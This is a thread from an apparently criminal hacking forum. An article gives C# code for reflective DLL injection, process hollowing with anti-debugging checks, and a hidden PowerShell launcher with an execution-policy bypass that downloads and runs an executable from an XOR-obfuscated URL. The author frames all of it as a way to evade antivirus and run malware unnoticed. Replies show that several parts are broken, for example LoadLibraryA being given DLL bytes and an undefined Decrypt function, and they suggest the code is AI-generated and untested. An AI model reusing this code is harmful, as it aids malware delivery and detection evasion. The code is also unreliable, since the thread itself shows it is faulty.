• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья Unveiling the Depths of Fileless Malware: A Technical Journey through Reflective DLL Injection, Process Hollowing, and PowerShell Injection

blackhunt

(L2) cache
Пользователь
Регистрация
10.05.2023
Сообщения
331
Решения
8
Реакции
336
Hello to all dear friends, today in this article we have an installment to show you more technical and advanced topics of fileless malware, with more examples, this article is part 2 of the previous part of this topic, you can read part 1 here read. .

One thing is that this malware is a term fileless, dear friends, so stay with me as I explain its techniques and methods. My goal in this article is to introduce you to the existing and more advanced methods. I hope this article helps you.

So let's get started:
In the introduction of part 2, I must tell you that in this article we will analyze the code injection techniques used by fileless malware in a deeper way. These techniques allow malware to work without having to store files on disk in system memory and avoid detection by anti viruses. Here I would like to explain the concepts using sample codes and practical examples.


The techniques I used here are:

1-Reflective DLL Injection
2-Using Process Hollowing with Anti-Debugging
3-PowerShell injection


In the first method, which is Reflective DLL injection, the malware is enabled to inject a DLL directly from memory into a running process, without it being saved on the disk.

Here, I have written a sample C# code for you, and we will look at and analyze it together:

C#:
using System;
using System.Diagnostics;
using System.IO;
using System.Runtime.InteropServices;

public static class ReflectiveInjection
{
    
    [DllImport("kernel32.dll")]
    private static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);

    [DllImport("kernel32.dll", SetLastError = true)]
    private static extern bool VirtualFree(IntPtr lpAddress, uint dwSize, uint dwFreeType);

    [DllImport("kernel32.dll", SetLastError = true)]
    private static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);

    [DllImport("kernel32.dll")]
    private static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);

    
    public static bool InjectDll(byte[] dllBytes)
    {
        IntPtr allocatedMem = IntPtr.Zero;
        IntPtr threadHandle = IntPtr.Zero;

        try
        {
            
            allocatedMem = VirtualAlloc(IntPtr.Zero, (uint)dllBytes.Length, 0x3000, 0x40);
            if (allocatedMem == IntPtr.Zero)
                throw new Exception("Failed to allocate memory in target process.");

            
            Marshal.Copy(dllBytes, 0, allocatedMem, dllBytes.Length);

            
            IntPtr loadLibraryAddr = GetProcAddress(GetModuleHandle("kernel32.dll"), "LoadLibraryA");
            if (loadLibraryAddr == IntPtr.Zero)
                throw new Exception("Failed to get address of LoadLibraryA function.");

            threadHandle = CreateThread(IntPtr.Zero, 0, loadLibraryAddr, allocatedMem, 0, IntPtr.Zero);
            if (threadHandle == IntPtr.Zero)
                throw new Exception("Failed to create remote thread in target process.");

            
            WaitForSingleObject(threadHandle, 5000); // Timeout after 5 seconds
        }
        catch (Exception ex)
        {
            Console.WriteLine("Error: " + ex.Message);
            return false;
        }
        finally
        {
           
            if (allocatedMem != IntPtr.Zero)
                VirtualFree(allocatedMem, 0, 0x8000);

            if (threadHandle != IntPtr.Zero)
                CloseHandle(threadHandle);
        }

        return true;
    }

    
    public static void Main()
    {
        string dllPath = @"C:\path\to\malicious.dll";
        byte[] dllBytes = File.ReadAllBytes(dllPath);
        bool success = InjectDll(dllBytes);

        if (success)
            Console.WriteLine("Reflective DLL Injection successful!");
        else
            Console.WriteLine("Reflective DLL Injection failed.");
    }
}
Alright, now let's analyze it step by step and see its functionality together:

Functions imported from WinAPI :


C#:
[DllImport("kernel32.dll", SetLastError = true)]
private static extern bool VirtualFree(IntPtr lpAddress, uint dwSize, uint dwFreeType);

The `VirtualFree` function is used to free memory that was allocated by `VirtualAlloc`.
C#:
[DllImport("kernel32.dll", SetLastError = true)]
private static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);

The `CreateThread` function is used to create a new thread in a process. Here, `lpThreadAttributes` specifies the thread's attributes, `dwStackSize` specifies the stack size, `dwCreationFlags` specifies the creation flags, and `lpThreadId` specifies the thread ID.
C#:
[DllImport("kernel32.dll")]
private static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);

The `WaitForSingleObject` function is used to wait until a specific object is in the signaled state. `hHandle` specifies the handle to the object, and `dwMilliseconds` specifies the wait time.


C#:
[DllImport("kernel32.dll")]
private static extern bool CloseHandle(IntPtr hObject);

The `CloseHandle` function is used to close open handles.
C#:
[DllImport("kernel32.dll")]
private static extern IntPtr GetProcAddress(IntPtr hModule, string lpProcName);

The `GetProcAddress` function is used to get the address of a function from a DLL module.
C#:
[DllImport("ntdll.dll", SetLastError = true)]
private static extern int NtCreateThreadEx(out IntPtr threadHandle, uint desiredAccess, IntPtr objectAttributes, IntPtr processHandle, IntPtr startAddress, IntPtr parameter, bool createSuspended, int stackZeroBits, int sizeOfStack, int maximumStackSize, IntPtr attributeList);

The `NtCreateThreadEx` function is used to create a new thread in a process but operates with more advanced features compared to `CreateThread`.

Anti-Debugging Techniques

We use this method to prevent the malware from being debugged.
C#:
private static bool IsDebuggerPresent()
{
    return System.Diagnostics.Debugger.IsAttached;
}

The `IsDebuggerPresent` function checks if a debugger is attached to the program.
C#:
private static void CheckRemoteDebugger()
{
    bool isDebuggerPresent = false;
    CheckRemoteDebuggerPresent(Process.GetCurrentProcess().Handle, ref isDebuggerPresent);
    if (isDebuggerPresent)
    {
        Environment.Exit(1);
    }
}

[DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
private static extern bool CheckRemoteDebuggerPresent(IntPtr hProcess, ref bool isDebuggerPresent);

The `CheckRemoteDebuggerPresent` function checks if a remote debugger is attached to the process. If a debugger is present, the program exits.

InjectDll Function

C#:
public static bool InjectDll(byte[] dllBytes)
{
    if (IsDebuggerPresent())
    {
        Console.WriteLine("Debugger detected. Exiting.");
        return false;
    }

    CheckRemoteDebugger();

    IntPtr allocatedMem = IntPtr.Zero;
    IntPtr threadHandle = IntPtr.Zero;

    try
    {
        
        allocatedMem = VirtualAlloc(IntPtr.Zero, (uint)dllBytes.Length, 0x3000, 0x40);
        if (allocatedMem == IntPtr.Zero)
            throw new Exception("Failed to allocate memory in target process.");

        
        Marshal.Copy(dllBytes, 0, allocatedMem, dllBytes.Length);

        
        IntPtr loadLibraryAddr = GetProcAddress(GetModuleHandle("kernel32.dll"), "LoadLibraryA");
        if (loadLibraryAddr == IntPtr.Zero)
            throw new Exception("Failed to get address of LoadLibraryA function.");

        
        int ntStatus = NtCreateThreadEx(out threadHandle, 0x1FFFFF, IntPtr.Zero, GetCurrentProcess(), loadLibraryAddr, allocatedMem, false, 0, 0, 0, IntPtr.Zero);
        if (ntStatus != 0)
            throw new Exception("Failed to create remote thread in target process.");

       
        WaitForSingleObject(threadHandle, 5000); // Timeout after 5 seconds
    }
    catch (Exception ex)
    {
        Console.WriteLine("Error: " + ex.Message);
        return false;
    }
    finally
    {
        // Clean up allocated resources
        if (allocatedMem != IntPtr.Zero)
            VirtualFree(allocatedMem, 0, 0x8000);

        if (threadHandle != IntPtr.Zero)
            CloseHandle(threadHandle);
    }

    return true;
}

In this code, we first check if a debugger is attached to the program. Then, memory is allocated for the size of the DLL bytes. The DLL bytes are copied into the allocated memory. The address of the `LoadLibraryA` function is obtained. A new thread is created in the process, and this thread loads the DLL. The program waits for the new thread to finish its task. Finally, the allocated memory and thread handles are freed.

MAIN Function

This function demonstrates an example of using the `InjectDll` function.
C#:
public static void Main()
{
    string dllPath = @"C:\path\to\malicious.dll";
    byte[] dllBytes = File.ReadAllBytes(dllPath);
    bool success = InjectDll(dllBytes);

    if (success)
        Console.WriteLine("Reflective DLL Injection successful!");
    else
        Console.WriteLine("Reflective DLL Injection failed.");
}

In this example, the path to a DLL file is specified and its bytes are read. Then, the `InjectDll` function is called with the read bytes, and finally, the success or failure of the DLL injection operation is reported to the user.

2 .Process Hollowing with Anti-Debugging
C#:
using System;
using System.Diagnostics;
using System.IO;
using System.Runtime.InteropServices;

public static class AdvancedProcessHollowing
{
    [DllImport("kernel32.dll")]
    private static extern IntPtr OpenProcess(int dwDesiredAccess, bool bInheritHandle, int dwProcessId);

    [DllImport("kernel32.dll", SetLastError = true)]
    private static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, AllocationType flAllocationType, MemoryProtection flProtect);

    [DllImport("kernel32.dll", SetLastError = true)]
    private static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, uint nSize, out int lpNumberOfBytesWritten);

    [DllImport("kernel32.dll")]
    private static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress,
                                                   IntPtr lpParameter, uint dwCreationFlags, out IntPtr lpThreadId);

    [DllImport("kernel32.dll", SetLastError = true)]
    private static extern bool IsDebuggerPresent();

    [DllImport("kernel32.dll", SetLastError = true)]
    private static extern bool CheckRemoteDebuggerPresent(IntPtr hProcess, ref bool isDebuggerPresent);

    [DllImport("kernel32.dll", SetLastError = true)]
    private static extern IntPtr GetModuleHandle(string lpModuleName);

    [DllImport("kernel32.dll", SetLastError = true)]
    private static extern IntPtr GetProcAddress(IntPtr hModule, string lpProcName);

    [DllImport("kernel32.dll", SetLastError = true)]
    private static extern bool CloseHandle(IntPtr hObject);

    [Flags]
    private enum AllocationType
    {
        Commit = 0x1000,
        Reserve = 0x2000,
        Decommit = 0x4000,
        Release = 0x8000,
        Reset = 0x80000,
        Physical = 0x400000,
        TopDown = 0x100000,
        WriteWatch = 0x200000,
        LargePages = 0x20000000
    }

    [Flags]
    private enum MemoryProtection
    {
        Execute = 0x10,
        ExecuteRead = 0x20,
        ExecuteReadWrite = 0x40,
        ExecuteWriteCopy = 0x80,
        NoAccess = 0x01,
        ReadOnly = 0x02,
        ReadWrite = 0x04,
        WriteCopy = 0x08,
        GuardModifierflag = 0x100,
        NoCacheModifierflag = 0x200,
        WriteCombineModifierflag = 0x400
    }

    public static bool HollowProcess(string targetPath, string maliciousExePath)
    {
        try
        {
            
            ProcessStartInfo startInfo = new ProcessStartInfo(targetPath)
            {
                CreateNoWindow = true,
                UseShellExecute = false,
                RedirectStandardOutput = true
            };

            Process targetProcess = Process.Start(startInfo);
            targetProcess.WaitForInputIdle();

            IntPtr targetProcessHandle = OpenProcess(0x001F0FFF, false, targetProcess.Id);
            if (targetProcessHandle == IntPtr.Zero)
                throw new Exception("Failed to open target process for writing.");

            byte[] maliciousExeBytes = File.ReadAllBytes(maliciousExePath);
            IntPtr allocatedMemory = VirtualAllocEx(targetProcessHandle, IntPtr.Zero, (uint)maliciousExeBytes.Length, AllocationType.Commit | AllocationType.Reserve, MemoryProtection.ExecuteReadWrite);
            if (allocatedMemory == IntPtr.Zero)
                throw new Exception("Failed to allocate memory in target process.");

            int bytesWritten;
            bool successWrite = WriteProcessMemory(targetProcessHandle, allocatedMemory, maliciousExeBytes, (uint)maliciousExeBytes.Length, out bytesWritten);
            if (!successWrite || bytesWritten != maliciousExeBytes.Length)
                throw new Exception("Failed to write malicious executable to target process memory.");

            IntPtr loadLibraryAddr = GetProcAddress(GetModuleHandle("kernel32.dll"), "LoadLibraryA");
            if (loadLibraryAddr == IntPtr.Zero)
                throw new Exception("Failed to get address of LoadLibraryA function.");

            IntPtr threadHandle = CreateRemoteThread(targetProcessHandle, IntPtr.Zero, 0, loadLibraryAddr, allocatedMemory, 0, out IntPtr threadId);
            if (threadHandle == IntPtr.Zero)
                throw new Exception("Failed to create remote thread for malicious executable in target process.");

            bool isDebugger = IsDebuggerPresent();
            if (isDebugger)
                throw new Exception("Debugger detected. Process hollowing aborted.");

            bool isRemoteDebugger = false;
            CheckRemoteDebuggerPresent(targetProcessHandle, ref isRemoteDebugger);
            if (isRemoteDebugger)
                throw new Exception("Remote debugger detected. Process hollowing aborted.");

            // Advanced: Closing the handles we don't need anymore
            CloseHandle(targetProcessHandle);
            CloseHandle(threadHandle);

            targetProcess.WaitForExit();

            return true;
        }
        catch (Exception ex)
        {
            Console.WriteLine("Error: " + ex.Message);
            return false;
        }
    }

    public static void Main()
    {
        string targetPath = @"C:\Windows\System32\notepad.exe";
        string maliciousExePath = @"C:\path\to\malicious.exe";
        bool success = HollowProcess(targetPath, maliciousExePath);

        if (success)
            Console.WriteLine("Process hollowing successful!");
        else
            Console.WriteLine("Process hollowing failed.");
    }
}

In this code, we attempt to open a target process (e.g., notepad.exe), inject malware into the memory of this process, and then execute it.

First, we import essential libraries from KERNEL32.DLL, which include functions for managing memory and processes in the Windows operating system.


C#:
using System;
using System.Diagnostics;
using System.IO;
using System.Runtime.InteropServices;

Then, we import API functions from kernel32.dll to access and manipulate memory and manage processes.
C#:
[DllImport("kernel32.dll")]
private static extern IntPtr OpenProcess(int dwDesiredAccess, bool bInheritHandle, int dwProcessId);

[DllImport("kernel32.dll", SetLastError = true)]
private static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, AllocationType flAllocationType, MemoryProtection flProtect);

[DllImport("kernel32.dll", SetLastError = true)]
private static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, uint nSize, out int lpNumberOfBytesWritten);

[DllImport("kernel32.dll")]
private static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress,
                                                IntPtr lpParameter, uint dwCreationFlags, out IntPtr lpThreadId);

[DllImport("kernel32.dll", SetLastError = true)]
private static extern bool IsDebuggerPresent();

[DllImport("kernel32.dll", SetLastError = true)]
private static extern bool CheckRemoteDebuggerPresent(IntPtr hProcess, ref bool isDebuggerPresent);

[DllImport("kernel32.dll", SetLastError = true)]
private static extern IntPtr GetModuleHandle(string lpModuleName);

[DllImport("kernel32.dll", SetLastError = true)]
private static extern IntPtr GetProcAddress(IntPtr hModule, string lpProcName);

[DllImport("kernel32.dll", SetLastError = true)]
private static extern bool CloseHandle(IntPtr hObject);
These declarations import essential functions from kernel32.dll for managing processes, memory, threads, debugging, module handling, and handle management in the Windows operating system.

Then, we add enums for determining memory allocation type and memory protection.

C#:
[Flags]
private enum AllocationType
{
    Commit = 0x1000,
    Reserve = 0x2000,
    Decommit = 0x4000,
    Release = 0x8000,
    Reset = 0x80000,
    Physical = 0x400000,
    TopDown = 0x100000,
    WriteWatch = 0x200000,
    LargePages = 0x20000000
}

[Flags]
private enum MemoryProtection
{
    Execute = 0x10,
    ExecuteRead = 0x20,
    ExecuteReadWrite = 0x40,
    ExecuteWriteCopy = 0x80,
    NoAccess = 0x01,
    ReadOnly = 0x02,
    ReadWrite = 0x04,
    WriteCopy = 0x08,
    GuardModifierflag = 0x100,
    NoCacheModifierflag = 0x200,
    WriteCombineModifierflag = 0x400
}

The `HollowProcess` function is the main function that performs process hollowing. Now, first, the target process is started in a suspended state using `ProcessStartInfo`.
C#:
ProcessStartInfo startInfo = new ProcessStartInfo(targetPath)
{
    CreateNoWindow = true,
    UseShellExecute = false,
    RedirectStandardOutput = true
};

Process targetProcess = Process.Start(startInfo);
targetProcess.WaitForInputIdle();

Now, using the target process, we use `OpenProcess` to manipulate its memory.
C#:
IntPtr targetProcessHandle = OpenProcess(0x001F0FFF, false, targetProcess.Id);
if (targetProcessHandle == IntPtr.Zero)
    throw new Exception("Failed to open target process for writing.");

Now we read the executable file. The malicious executable is read and placed in the memory of the target process.
C#:
byte[] maliciousExeBytes = File.ReadAllBytes(maliciousExePath);
IntPtr allocatedMemory = VirtualAllocEx(targetProcessHandle, IntPtr.Zero, (uint)maliciousExeBytes.Length, AllocationType.Commit | AllocationType.Reserve, MemoryProtection.ExecuteReadWrite);
if (allocatedMemory == IntPtr.Zero)
    throw new Exception("Failed to allocate memory in target process.");
Код:

Now it's time to write the malicious executable into the memory of the target process.
C#:
int bytesWritten;
bool successWrite = WriteProcessMemory(targetProcessHandle, allocatedMemory, maliciousExeBytes, (uint)maliciousExeBytes.Length, out bytesWritten);
if (!successWrite || bytesWritten != maliciousExeBytes.Length)
    throw new Exception("Failed to write malicious executable to target process memory.");

Next, we need to execute the malware. We obtain the address of `LoadLibraryA` from `kernel32.dll` and create a remote thread to execute the malicious executable
C#:
IntPtr loadLibraryAddr = GetProcAddress(GetModuleHandle("kernel32.dll"), "LoadLibraryA");
if (loadLibraryAddr == IntPtr.Zero)
    throw new Exception("Failed to get address of LoadLibraryA function.");

IntPtr threadHandle = CreateRemoteThread(targetProcessHandle, IntPtr.Zero, 0, loadLibraryAddr, allocatedMemory, 0, out IntPtr threadId);
if (threadHandle == IntPtr.Zero)
    throw new Exception("Failed to create remote thread for malicious executable in target process.");

In this part, we check for remote or network debugger presence. If detected, we take measures to prevent it.
C#:
bool isDebugger = IsDebuggerPresent();
if (isDebugger)
    throw new Exception("Debugger detected. Process hollowing aborted.");

bool isRemoteDebugger = false;
CheckRemoteDebuggerPresent(targetProcessHandle, ref isRemoteDebugger);
if (isRemoteDebugger)
    throw new Exception("Remote debugger detected. Process hollowing aborted.");
Then we proceed to close the handles and wait for the process to exit.

The opened handles are closed, and we wait for the target process to terminate.
C#:
CloseHandle(targetProcessHandle);
CloseHandle(threadHandle);

targetProcess.WaitForExit();

And finally, the MAIN function. This function is used to test the process hollowing. It defines the path of the target process and the malicious executable file, then calls `HollowProcess`.
C#:
public static void Main()
{
    string targetPath = @"C:\Windows\System32\notepad.exe";
    string maliciousExePath = @"C:\path\to\malicious.exe";
    bool success = HollowProcess(targetPath, maliciousExePath);

    if (success)
        Console.WriteLine("Process hollowing successful!");
    else
        Console.WriteLine("Process hollowing failed.");
}

This code modifies the target process using process hollowing to execute a malicious executable in its memory. Using Windows API functions, this code can allocate process memory, write data to it, and create remote threads.

3.PowerShell injection


Using PowerShell injection involves leveraging PowerShell to inject malware code into the main body of a script in order to conceal and execute malware within the system.

Here's the c# code example for executing PowerShell injection, which downloads malware from a specified URL, encrypts it using an XOR encryption algorithm, and then forms a PowerShell script to download and execute the malware. Subsequently, it runs this PowerShell script through a new PowerShell process to utilize PowerShell's built-in commands for downloading and executing malware.
C#:
using System;
using System.Diagnostics;
using System.IO;
using System.Text;

public static class PowerShellInjection
{
    public static void InjectPowerShell(string malwareUrl)
    {
        try
        {
            
            string encryptedUrl = Encrypt(malwareUrl);

            
            string powerShellScript = @"
                $EncryptedUrl = '" + encryptedUrl + @"'
                $url = Decrypt($EncryptedUrl)
                $tempFilePath = [System.IO.Path]::GetTempFileName() + '.exe'
                Invoke-WebRequest -Uri $url -OutFile $tempFilePath
                Start-Process -FilePath $tempFilePath
            ";

            
            ProcessStartInfo psi = new ProcessStartInfo();
            psi.FileName = "powershell.exe";
            psi.Arguments = "-ExecutionPolicy Bypass -NoProfile -Command \"" + EncodeScript(powerShellScript) + "\"";
            psi.WindowStyle = ProcessWindowStyle.Hidden;
            Process.Start(psi);
        }
        catch (Exception ex)
        {
            Console.WriteLine("Error: " + ex.Message);
        }
    }

    
    private static string Encrypt(string input)
    {
        byte[] bytes = Encoding.UTF8.GetBytes(input);
        byte key = 0x53; // Encryption key
        for (int i = 0; i < bytes.Length; i++)
        {
            bytes[i] ^= key;
        }
        return Convert.ToBase64String(bytes);
    }

    
    private static string EncodeScript(string script)
    {
        return script.Replace("\"", "\\\"");
    }

    public static void Main()
    {
        string malwareUrl = "http://localhost/malware.exe";
        InjectPowerShell(malwareUrl);

        Console.WriteLine("PowerShell Injection initiated.");
    }
}

the first we have InjectPowerShell function :

C#:
public static void InjectPowerShell(string malwareUrl)
{
    try
    {
        // Encrypt the URL for downloading malware
        string encryptedUrl = Encrypt(malwareUrl);

        // PowerShell script to download and execute malware
        string powerShellScript = @"
            $EncryptedUrl = '" + encryptedUrl + @"'
            $url = Decrypt($EncryptedUrl)
            $tempFilePath = [System.IO.Path]::GetTempFileName() + '.exe'
            Invoke-WebRequest -Uri $url -OutFile $tempFilePath
            Start-Process -FilePath $tempFilePath
        ";

        // Execute PowerShell script
        ProcessStartInfo psi = new ProcessStartInfo();
        psi.FileName = "powershell.exe";
        psi.Arguments = "-ExecutionPolicy Bypass -NoProfile -Command \"" + EncodeScript(powerShellScript) + "\"";
        psi.WindowStyle = ProcessWindowStyle.Hidden;
        Process.Start(psi);
    }
    catch (Exception ex)
    {
        Console.WriteLine("Error: " + ex.Message);
    }
}
Encrypting URL: We use a function to encrypt the URL, hiding its details with a secret key and converting it to a format suitable for easy transmission via PowerShell.

PowerShell Script: We've crafted a script to download and execute malware for us. It includes all the necessary details to download and run the malware file, including encryption of the URL used for downloading.

Executing PowerShell: We run this script through a new PowerShell process, ensuring it executes smoothly and without any issues. This allows us to run the malware without anyone noticing and achieve our objective.

Error Handling: If anything goes wrong, we check where the problem is and fix it to ensure we reach our goal smoothly.

Here's the function Encrypt :

C#:
// Encrypts the URL using a simple XOR encryption
private static string Encrypt(string input)
{
    byte[] bytes = Encoding.UTF8.GetBytes(input);
    byte key = 0x53; // Encryption key
    for (int i = 0; i < bytes.Length; i++)
    {
        bytes[i] ^= key;
    }
    return Convert.ToBase64String(bytes);
}

This function encrypts an input string (like a URL) by converting it into bytes, XOR encrypting each byte with a fixed key (here 0x53), then converting the encrypted bytes into a Base64-encoded string and returning it.

The function EncodeScript :

C#:
// Encodes the PowerShell script to safely pass as argument
private static string EncodeScript(string script)
{
    return script.Replace("\"", "\\\"");
}

The function `EncodeScript` is tasked with encoding a PowerShell script so that it can be properly used as an argument in `ProcessStartInfo.Arguments`. For example, it escapes all double quotes (") within the PowerShell script with a backslash () to ensure compatibility with PowerShell command rules

And finally, the Main function :

C#:
public static void Main()
    {
        string malwareUrl = "http://localhost/malware.exe";
        InjectPowerShell(malwareUrl);

        Console.WriteLine("PowerShell Injection initiated.");
    }
}

Alright, first, we download the malware using the `malwareUrl` provided. Then, `InjectPowerShell(malwareUrl)` utilizes the `InjectPowerShell` function to download the malware file and execute it using PowerShell. Finally, `Console.WriteLine("PowerShell Injection initiated.")` is executed, which displays a message indicating the initiation of PowerShell injection after calling `InjectPowerShell`.

author: Blackhunt
Exclusively for xss.pro

Best Regards
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Код:
using System;
using System.Diagnostics;
using System.IO;
using System.Runtime.InteropServices;

public static class ReflectiveInjection
{
   
    [DllImport("kernel32.dll")]
    private static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);

    [DllImport("kernel32.dll", SetLastError = true)]
    private static extern bool VirtualFree(IntPtr lpAddress, uint dwSize, uint dwFreeType);

    [DllImport("kernel32.dll", SetLastError = true)]
    private static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);

    [DllImport("kernel32.dll")]
    private static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);

   
    public static bool InjectDll(byte[] dllBytes)
    {
        IntPtr allocatedMem = IntPtr.Zero;
        IntPtr threadHandle = IntPtr.Zero;

        try
        {
           
            allocatedMem = VirtualAlloc(IntPtr.Zero, (uint)dllBytes.Length, 0x3000, 0x40);
            if (allocatedMem == IntPtr.Zero)
                throw new Exception("Failed to allocate memory in target process.");

           
            Marshal.Copy(dllBytes, 0, allocatedMem, dllBytes.Length);

           
            IntPtr loadLibraryAddr = GetProcAddress(GetModuleHandle("kernel32.dll"), "LoadLibraryA");
            if (loadLibraryAddr == IntPtr.Zero)
                throw new Exception("Failed to get address of LoadLibraryA function.");

            threadHandle = CreateThread(IntPtr.Zero, 0, loadLibraryAddr, allocatedMem, 0, IntPtr.Zero);
            if (threadHandle == IntPtr.Zero)
                throw new Exception("Failed to create remote thread in target process.");

           
            WaitForSingleObject(threadHandle, 5000);
Wtf is this? Is this written with ChatGPT or something? LoadLibraryA expects an ANSI string path to the DLL, not DLL bytes. This code plainly won't work, besides it being completely useless to create new thead on a function in your own process while you can just PInvoke it. The same applies for the hollowed one.

public static void InjectPowerShell(string malwareUrl) { try { // Encrypt the URL for downloading malware string encryptedUrl = Encrypt(malwareUrl); // PowerShell script to download and execute malware string powerShellScript = @" $EncryptedUrl = '" + encryptedUrl + @"' $url = Decrypt($EncryptedUrl) $tempFilePath = [System.IO.Path]::GetTempFileName() + '.exe' Invoke-WebRequest -Uri $url -OutFile $tempFilePath Start-Process -FilePath $tempFilePath "; // Execute PowerShell script ProcessStartInfo psi = new ProcessStartInfo(); psi.FileName = "powershell.exe"; psi.Arguments = "-ExecutionPolicy Bypass -NoProfile -Command \"" + EncodeScript(powerShellScript) + "\""; psi.WindowStyle = ProcessWindowStyle.Hidden; Process.Start(psi); } catch (Exception ex) { Console.WriteLine("Error: " + ex.Message); } }
Okey, how this code suppose to work? While it is not injecting PowerShell, it is just starting PowerShell process. Where will the PowerShell interpreter find Decrypt function? Is it written with ChatGPT, have you test it?
 
Okey, how this code suppose to work? While it is not injecting PowerShell, it is just starting PowerShell process. Where will the PowerShell interpreter find Decrypt function? Is it written with ChatGPT, have you test it?
Nah mate, this ain't no ChatGPT script. It's a classic move to fire up PowerShell from afar and get a malware executable running. As for that decrypt you're talking about, well, let's just say it's our own bag of tricks. now, this executable might be a bit opportunistic. ;)
 
Пожалуйста, обратите внимание, что пользователь заблокирован
a bit opportunistic
Well, asking admin to pay for article (for the second time https://xss.pro/threads/116648/ ) about the code that doesn't work (and looks like it was hallucinated by ai) may be considered to be a bit opportunistic trick, I guess.
 
Well, asking admin to pay for article (for the second time https://xss.pro/threads/116648/ ) about the code that doesn't work (and looks like it was hallucinated by ai) may be considered to be a bit opportunistic trick, I guess.
I don't think I did anything wrong
And my only goal is to be able to create new and interesting topics for users who can use these articles in their experiences.
Can you tell me where my problem is?
What did I not observe!?
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Can you tell me where my problem is?
You post the code that doesn't work and didn't even bother to test it. Again LoadLibraryA expects ANSI-string of a path to the DLL library as parameter not the DLL bytes. There is not a single point to create a separate thread on LoadLibrary in your own process, you can just PInvoke it and it would result the same. The thing you are doing wrong is misleading noobs with the code that doesn't work and doesn't really makes a lot of sense. I still think that this code was just generated with ChatGPT or something of that kind as human would at least test the code when it is written.
 
You post the code that doesn't work and didn't even bother to test it. Again LoadLibraryA expects ANSI-string of a path to the DLL library as parameter not the DLL bytes. There is not a single point to create a separate thread on LoadLibrary in your own process, you can just PInvoke it and it would result the same. The thing you are doing wrong is misleading noobs with the code that doesn't work and doesn't really makes a lot of sense. I still think that this code was just generated with ChatGPT or something of that kind as human would at least test the code when it is written.
Когда увидел эту статью, то ждал вашего появления
 
You post the code that doesn't work and didn't even bother to test it. Again LoadLibraryA expects ANSI-string of a path to the DLL library as parameter not the DLL bytes. There is not a single point to create a separate thread on LoadLibrary in your own process, you can just PInvoke it and it would result the same. The thing you are doing wrong is misleading noobs with the code that doesn't work and doesn't really makes a lot of sense. I still think that this code was just generated with ChatGPT or something of that kind as human would at least test the code when it is written.
I really appreciate your feedback on my code. It's true that LoadLibraryA requires an ANSI string path to a DLL library, not DLL bytes, and I'll take that into account. Yes, I haven't tested this code for final validation yet, but based on my current knowledge and analysis, I'm getting the results you mentioned. Thanks again for sharing your concerns. ;):smile10:
 
Пожалуйста, обратите внимание, что пользователь заблокирован
I really appreciate your feedback on my code. It's true that LoadLibraryA requires an ANSI string path to a DLL library, not DLL bytes, and I'll take that into account. Yes, I haven't tested this code for final validation yet, but based on my current knowledge and analysis, I'm getting the results you mentioned. Thanks again for sharing your concerns. ;):smile10:
this is chatgpt answer 100% LOL
 
Well, asking admin to pay for article (for the second time https://xss.pro/threads/116648/ ) about the code that doesn't work (and looks like it was hallucinated by ai) may be considered to be a bit opportunistic trick, I guess.
I think the admin only accept new ideas I think these topics are already have been discussed before, it is redundant to rewrite an article about them again we should only post new and creative ideas it will be gladly appreciated not just from the admin but from us also the users
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх